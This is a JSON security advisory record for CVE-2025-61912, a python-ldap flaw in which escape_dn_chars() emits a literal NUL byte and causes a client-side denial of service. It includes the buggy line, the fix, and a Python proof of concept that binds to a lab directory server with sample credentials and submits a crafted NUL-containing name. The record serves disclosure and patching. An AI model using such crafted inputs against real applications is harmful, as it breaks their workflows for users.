{"id":"CVE-2025-61912","aliases":["CVE-2025-61912","GHSA-p34h-wq7j-h5v6","PYSEC-2026-1846"],"related":[],"kind":"vulnerability","state":"published","title":"python-ldap Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","summary":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=> add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=> sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=> add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.","format":"markdown","source":"ghsa"},{"lang":"es","text":"python-ldap es una API cliente de protocolo ligero de acceso a directorios (LDAP) para Python. En versiones anteriores a la 3.4.5, ldap.dn.escape_dn_chars() escapa \\x00 incorrectamente al emitir una barra invertida seguida de un byte NUL literal en lugar de la forma hexadecimal RFC-4514 \\00. Cualquier aplicación que utilice esta función auxiliar para construir DNs a partir de entradas no confiables puede hacerse que falle consistentemente antes de que se envíe una solicitud al servidor LDAP (p. ej., AD), lo que resulta en una denegación de servicio del lado del cliente. La versión 3.4.5 contiene un parche para el problema.","source":"nvd"}],"published":"2025-10-10T22:04:25.028Z","modified":"2026-10-19T16:10:00.260Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","score":5.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","score":5.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-116","CWE-170"],"affected":[{"ranges":[{"version":"< 3.4.5","status":"affected"}],"vendor":"python-ldap","product":"python-ldap","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.4.5"}],"ecosystem":"PyPI","package":"python-ldap","purl":"pkg:pypi/python-ldap","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.4.5"}],"vendor":"python-ldap","product":"python-ldap","cpe":"cpe:2.3:a:python-ldap:python-ldap:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.4.5"}],"ecosystem":"PyPI","package":"python-ldap","purl":"pkg:pypi/python-ldap","source":"pysec"}],"references":[{"url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-p34h-wq7j-h5v6","tags":["exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/python-ldap/python-ldap/commit/6ea80326a34ee6093219628d7690bced50c49a3f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/python-ldap/python-ldap","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/python-ldap","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-p34h-wq7j-h5v6","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-10-14T14:57:58.750Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-61912","url":"https://www.cve.org/CVERecord?id=CVE-2025-61912","licence":"CVE Terms of Use","modified":"2025-10-14T14:58:06.682Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p34h-wq7j-h5v6","url":"https://github.com/advisories/GHSA-p34h-wq7j-h5v6","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:30.209Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-61912","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912","licence":"Public domain","modified":"2026-10-19T16:10:00.260Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1846","url":"https://osv.dev/vulnerability/PYSEC-2026-1846","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:51.792Z"}],"updatedAt":"2026-11-25T22:59:05.780Z","epss":{"score":0.00481,"percentile":0.43093,"date":"2026-12-01T12:00:22.000Z"}}